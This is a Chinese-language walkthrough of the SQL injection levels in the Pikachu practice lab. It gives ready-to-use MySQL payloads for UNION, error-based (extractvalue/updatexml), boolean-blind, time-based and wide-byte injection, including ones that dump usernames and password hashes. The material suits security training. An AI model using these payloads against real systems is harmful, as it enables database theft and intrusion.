概述
SQL注入漏洞,可怕的漏洞。
在OWASP发布的Top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
SQL注入在网络上非常热门,也有很多技术专家写过非常详细的关于SQL注入漏洞的文章,这里就不在多写了。
你可以通过“Sql Inject”对应的测试栏目,来进一步的了解该漏洞。
一、整数型注入
通过试验, 分析
1. POST的请求方式, 与常规的GET方式不同(GET更容易受到攻击)
2. 前端还通过下拉菜单选择的方式来查询, 限制了用户的输入
分析
针对上面两点特点, 依次分析:
第一, 由于是POST型的, 那么我们可以通过抓包来修改id值, 再post给服务器即可;
第二, 虽然前端限制了用户的输入, 但还是可以通过抓包来任意修改id的值。
现在再思考一下服务端怎么进行查询操作:
用户将id值post给服务器, 服务器接受到id值之后, 进行到数据库查询, 返回id值对应的用户名和邮箱
那么查询语句可能是:
SELECT * FROM users WHERE id=$id; // 整数型
或者
SELECT * FROM users WHERE id='$id'; // 字符型
漏洞利用
抓包修改注入id值:
1 and 1=1
发现查询正常
再抓包修改id为:
1 and 1=2
然后发现查询失败, 注入的语句被执行了 (因为1=2为假, 又为and连接, 所以sql语句的where是不成立的)
这就断定为整数型注入了。
接下来的注入流程不多说, 都是抓包修改id值, 然后爆库爆表等, 下面只给出payload:
- 爆字段数
1 order by 2
- 当前用户和数据库
1 union select user(),database()
- 当前数据库下的所有表
1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
- uses表的字段
1 union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
记得要在where条件中同时加上数据库名和表名
- 爆值
1 union select database(),group_concat('~',username,'~',password) from pikachu.users
可以看到, 密码是md5加密的, 解密即可:
二、字符型注入
这次是GET型, 相对没有POST型那么安全:
分析
因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。
猜测后台的SQL查询语句为:
SELECT * FROM users WHERE username='$username';
如果没有对单引号进行过滤处理的话, 这样的sql语句很容易被闭合绕过而加入新的恶意语句,
比如, 当username值为:
kobe' and 1=1 #
这就可以成功注入条件1=1
漏洞利用
下面的注入和整数型的差别不大, 主要是先闭合username值的单引号, 再用#注释后面的单引号
payload如下:
- 判断注入类型
kobe' and 1=1 #
执行成功, 得知为字符型注入
- 字段数
kobe' order by 2 #
- 当前用户和数据库
kobe' union select database(),user() #
- 爆表
kobe' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database() #
- uses表的字段
kobe' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
- 爆值
kobe' union select database(),group_concat('~',username,'~',password) from pikachu.users #
三、搜索型注入
这关是搜索型的, 即对输入的值在数据库中进行模糊匹配:
分析
这个功能运行我们输入用户名的一部分来查找,可以猜想后台使用了数据库中的搜索这个逻辑,比如用了 LIKE 。
对应的sql语句:
select * from 表名 where username like '%$name%'
l漏洞利用
如果真是这样,我们就可以构造对应的闭合,闭合前面的 单引号 和 百分号,注释后面的百分号和单引号。构造的payload如下
ke%' and 1=1 #
可以看到, 成功注入了, 那么sql语句就是猜测的那样
然后判断得字段数为3, 注入方法和上一关很类似, 下面只给出一个demo:
ke%' union select 1,user(),database() #
四、XX型注入
所谓的XX型注入, 就是输入的值可能被各种各样的符合闭合 (比如, 单引号双引号括号等)
分析
首先, 一般是先注入单引号, 使其报错, 观察报错语句就可得知大概的sql语句, 注入:
123'
那么可知sql语句为:
select * from users where username=('$name');
漏洞利用
注入:
kobe') and 1=1 #
发现成立, 即sql语句即为猜测的那样
- 爆当前数据库和用户:
kobe') union select user(),database() #
五、Insert/Update注入
这关开始之前要先注册一个账户:
注册信息如下:
注册成功后, POST的参数如下:
分析
之所以insert/update注入, 是因为在用户注册和更新信息的时候存在注入点
这里先分析insert注入
insert注入存在与用户注册时候的过程, 当用户注册新信息并提交服务器的时候, 服务端采用insert来将信息插入数据库
由此得知sql语句可能为:
insert into users(username,password) values($username,$password);
当update时, 也是如此:
update users set username=$username,password=$password where username=$username;
那么针对这种语句, 要这么进行注入呢?
这时候要用报错注入了, 具体可参考之前的博客: Sqli Less-17 报错注入
漏洞利用
- insert注入
首先在注册信息处找注入点, 在必填的用户名和密码处注入单引号:
可以看到有信息回显:
于是判断insert语句为:
insert into users(username,password) values('$username','$password');
对应的是用户名处存在注入点,
那么接下来利用 extractvalue() 来报错注入:
hack' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
需要将前后的单引号闭合才能完成注入, 注入结果如下:
- update注入
接下来就是update注入了, 注入一般存在与用户修改个人信息的时候
登录我们之前注册好的test1用户:
接下来修改用户信息:
都注入单引号, 看看是否存在注入点:
看来4个信息修改处都存在注入点, 我们随意注入一个:
hack' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '
六、Delete注入
delete注入和上面的insert/update注入大同小异
分析
先随意留言一个:
然后点击删除, 看到数据库返回:
漏洞利用
这么尝试采用联合查询注入id值, 发现被过滤了:
查看源码得知对id是否是数字进行了判断:
但是为对id进行相关的处理, 导致可以进行报错注入
这边我们先留言一个, 然后点删除之后再抓包:
在id值处注入:
1 and extractvalue(1, concat(0x7e,(select database()),0x7e))
七、Http头注入
有些时候,后台开发人员为了验证客户端头信息(比如cookie验证)或者通过http header获取客户端的一些信息,比如useragent,accept字段等, 会对客户端的http header信息进行获取并使用SQL进行处理,如果此时并没有足够的安全考虑, 则可能会导致基于 http header 的 SQL 注入漏洞
分析
登录用户之后, 发现服务端对用户登录的信息进行了记录:
我们对请求头的useragent,accept字段注入单引号, 看看是否回显:
第一次包
第二次包(主要):
然后发现在456处有注入点, 即在Accept处:
漏洞利用
那么抓包(注意要修改第二次收到的包), 对其注入:
1' or updatexml(1, concat(0x7e, database()), 0) or '
八、布尔盲注
在有些情况下,后台使用了错误屏蔽方法屏蔽了报错, 此时无法根据报错信息来进行注入的判断
这种情况下的注入,称为“盲注”
也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行, 事实上, 现在很多网站也都是盲注类型。
分析
这边我们知道, 用户名肯定是字符型, 所以注入类型也肯定是字符型,
我们可以用下面的payload来判断是否存在注入点:
kobe' and 1=1 # // 页面正确
kobe' and 1=2 # // 页面错误
由此得知存在布尔盲注
漏洞利用
在布尔盲注的过程中, 使用到二分法和一些mysql的函数, 比如mid(), ascii(), length()等等
比如, 假如我们要爆数据库名, 得先知道数据库的长度, 然后再一个个地去爆数据库名的每个字符,
有的人会问为什么要这样做?
因为页面不存在报错, 无法直接通过报错+联合查询注入得知, 所以只能一点点通过页面是否正确来判断。
- 爆数据库长度
kobe' and length(database())>10 # ==> 页面错误
kobe' and length(database())>5 # ==> 页面正确
kobe' and length(database())>8 # ==> 页面错误
kobe' and length(database())>6 # ==> 页面正确
kobe' and length(database())=7 # ==> 页面正确
可得数据库长度为 7
- 爆数据库的每一位字符
接下来就是每一个字符了, (类似用for循环去爆)
第一个字符:
kobe' and ascii(mid(database(),1,1))>115 # ==> 页面错误
kobe' and ascii(mid(database(),1,1))>110 # ==> 页面正确
kobe' and ascii(mid(database(),1,1))>112 # ==> 页面错误
kobe' and ascii(mid(database(),1,1))=112 # ==> 页面正确
得第一个字符ascii码为112, 对应字符为p
依次爆得剩余字符为: pikachu
- 爆数据库的所有表个数
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5 # ==> 页面错误
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5 # ==> 页面正确
得表的个数为5个
- 爆第一个表的长度
kobe' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8 # ==> 页面错误
- 爆第一个表的每一个字符
kobe' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104 # ==> 页面错误
得到第一表的第一字符为h, 然后依次得到第一个表为httpinfo
- 爆指定表的字段个数
假如我们现在要爆users表的字段个数:
kobe' and (select count(column_name) from information_schema.columns where
table_schema=database() and table_name='users')=4 #
得知users的字段数为4
- 爆第一个字段的长度
kobe' and length((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1))=2 #
- 爆第一个字段的每一个值
kobe' and ascii(mid((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),1,1))=105 #
按照这个思路, 就可以把整个数据库给爆出来了。
九、延时注入
布尔盲注还可以看到页面是否正确来判断注入的SQL语句是否成功执行, 而延时注入就什么返回信息都看不了了。
只能通过布尔的条件返回值来执行sleep()函数使网页延迟相应来判断布尔条件是否成立。
分析
这里我们发现不管注入什么, 都是显示一样的信息: i don't care who you are!
那么这里就是典型的延时注入了。
漏洞利用
需要用到sleep()函数,
首先看看sleep()函数是否能用:
kobe' and sleep(5) #
可以看到, 的确是延迟了5秒, 存在延时注入点
- 判断数据库的长度
kobe' and sleep(if(length(database())>7,0,3)) # ==> 延时
kobe' and sleep(if(length(database())=7,0,3)) # ==> 不延时
那么接下来的payload就与布尔盲注大同小异了。
十、宽字节注入
在实际的网站中, 很多都是对特殊字符进行转义, 从而过滤特殊字符对sql语句的污染。
当输入单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。
具体原理可参考之前的blog: 宽字节注入
分析
当我们知道是字符型注入且注入单引号的时候, 发现单引号没有生效:
这时候猜测单引号被转义过滤了, 可以尝试宽字节注入
利用%df将反斜杠结合成一个中文汉字(常为乱码), 进而去掉转义功能:
kobe%df' or 1=1#
发现不成功...
注意左下角, 是POST请求方式, 所以抓包修改即可:
注入成功。